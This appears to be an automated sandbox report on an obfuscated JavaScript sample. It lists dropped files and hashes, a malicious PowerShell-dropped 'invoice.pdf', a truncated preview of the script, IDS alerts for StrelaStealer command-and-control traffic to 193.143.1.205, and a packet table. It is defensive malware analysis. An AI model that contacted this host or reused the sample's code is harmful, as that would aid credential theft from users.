.3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\05601f15-1e69-4b36-9891-63c39fca3f22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\52724b4c-92b6-42dc-a711-ddfefd7f8a76.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a1e393f6-872d-4661-9c10-a1a228ad95c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14525), with CRLF line terminators
Entropy (8bit):	4.9333199278431765
TrID:
File name:	14444181562539231561.js
File size:	17'972 bytes
MD5:	d7f45ae6710542c33d7a036a825411c3
SHA1:	11bb74405ca13cf44143ef646b0788571e4f06a8
SHA256:	c50f0763142edfa3dc7e9f3d01c0a5a959a166a67c1fa477af2e4633055d9b58
SHA512:	a934f159478ef112ce6adf59c69e5aa08f08a5c1e861a1d52295e894afa129cdd95b175bd65cb492d44c74f5835f8cd0b0634bf8b3dcfe4d22fb5b92c514191a
SSDEEP:	384:1Nv8KUAP1jAkUw1crUwVe98rV9WsWLxR8rSvNPiEzroAsDMJoqxsgvVWiIrKljgB:HRA9cdwI82RbkCi5vb
TLSH:	DE8201506810E4CDDFCC59D0E7D648AA48D80ACCC6FA4A9F08ECB8BE81557F197DB1B9
File Content Preview:	function ypfjn(){kphowtm=[1031,3079,5127,4103,2055,3072];var copxovb=this[xehug+dueckkajt+wgmzgrzaw+oqjfa+xailwnky+wfqevvux+bxqwlavkm+ijgek](this[uujsglc+ydqlf+veymsxvf+wgmzgrzaw+fbdqxch+xehug+ijgek][kcphopdma+wgmzgrzaw+xailwnky+dueckkajt+ijgek+xailwnky+o

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:21:32.075456+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49760	193.143.1.205	80	TCP
2025-01-11T09:21:32.075456+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49760	193.143.1.205	80	TCP
2025-01-11T09:21:34.823035+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49771	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:21:31.283410072 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:31.288405895 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:31.288496971 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:31.291680098 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:31.296592951 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075370073 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075392962 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075403929 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075452089 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075455904 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.075464010 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075476885 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075493097 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.075526953 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.075567961 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075579882 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075591087 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075602055 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.075637102 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.080257893 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.080276966 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.080327988 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.121879101 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.121893883 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.121948004 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.196727991 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.196752071 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.196763039 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.196816921 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.196923971 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.196964979 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.197017908 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197150946 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197187901 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.197197914 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197211027 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197243929 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.197324038 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197841883 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197853088 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197865009 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197885990 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.197894096 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197905064 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.197916985 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.197947979 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.198509932 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.198568106 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.198577881 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.198612928 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.198667049 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.198678017 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.198703051 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.199558973 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.199570894 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.199582100 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.199593067 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.199599028 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.199619055 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.239275932 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.250020981 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.250037909 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.250049114 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.250107050 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.284153938 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.284209967 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.318192959 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318216085 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318262100 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318269968 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.318315029 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318351984 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.318376064 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318387985 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318422079 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.318612099 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318630934 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318641901 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318670034 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.318902016 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318955898 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.318958044 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.318972111 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319015026 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.319053888 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319067001 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319108009 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.319469929 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319525957 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319544077 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319566011 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.319645882 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.319681883 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.319996119 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320008039 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320019960 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320044994 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.320099115 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320111036 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320123911 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320136070 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320142984 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.320159912 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.320254087 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.320295095 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.320990086 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321002960 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321017027 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321049929 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.321070910 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321084023 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321095943 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321109056 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321108103 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.321139097 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.321240902 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321285963 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.321902990 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321917057 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321928978 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.321957111 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.321991920 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.322005033 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.322017908 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.322031021 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.322057009 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.322129965 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.322141886 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.322175980 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.322822094 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.337374926 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.337421894 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.337450981 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.337465048 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.337506056 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.364928961 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.364945889 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.364994049 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.371716022 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.371732950 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.371746063 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.371781111 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.405720949 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.405742884 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.405777931 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.439640999 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439691067 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439702988 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439704895 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.439740896 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.439770937 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439791918 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439804077 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439851999 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.439918995 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439938068 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.439953089 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.439980030 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440005064 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440021038 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440058947 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440104961 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440110922 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440124989 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440177917 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440249920 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440262079 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440268993 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440285921 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440299988 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440334082 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440370083 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440608025 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440628052 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440639973 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440649986 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440682888 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440749884 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440809011 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440821886 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440857887 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.440902948 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.440946102 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441015005 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441071033 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441082954 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441113949 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441210032 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441221952 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441234112 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441246033 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441251993 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441277981 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441379070 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441392899 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441418886 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441685915 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441725969 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441731930 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441745996 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441788912 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441827059 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441838980 CET	80	49760	193.143.1.205	192.168.2.9
